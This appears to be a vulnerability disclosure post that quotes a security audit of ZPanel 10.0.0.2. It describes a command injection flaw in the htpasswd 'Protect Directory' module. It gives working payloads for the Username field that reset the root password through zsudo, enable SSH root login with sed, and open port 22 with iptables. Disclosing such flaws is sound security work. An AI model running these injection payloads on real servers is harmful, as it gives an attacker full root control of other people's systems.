One of our expert team members (shachibista () gmail com) who is assigned
to do the security audit of ZPanel code has found the follwoing
security vulnerability with ZPanel 10.0.0.2 which will allow anyone to
escalate the root accress and access the server by anyone. The
security audit states the following:
<QUOTE>
I have been reviewing ZPanel code and there is a serious remote
execution vulnerability in the "Protect Directory" module that allows
anyone with access to the page (Administrators, Resellers and Clients
by default) to execute arbitrary commands on the shell due to improper
(non-existent) escaping of user input. The following steps can be
taken to reproduce the exploit:
1. Login as any user and visit
http://<server_address>/?module=htpasswd&selected=Selected&path=/
1a. In the "Username" field input (including the initial semicolon and
the final hash):
;/etc/zpanel/panel/bin/zsudo "echo 'newpassword'" "| passwd --stdin root" #
2. Type any password
3. Root password will be set to "newpassword"
4. Visit http://<server_address>/?module=htpasswd&selected=Selected&path=/
5. In the "Username" field (including initial semicolon and final hash):
;/etc/zpanel/panel/bin/zsudo sed '-i "s/#*\(PermitRootLogin\)/\1 yes
\#/" /etc/ssh/*hd*g' #
6. This will enable root login,
7. One can repeat the same process to open port 22 through iptables
(iptables -A INPUT -p tcp --dport 22 -j ACCEPT) and restart the ssh
server (this will require the process twice as the internal buffer
size of zsudo command is 100 characters)
<UNQUOTE>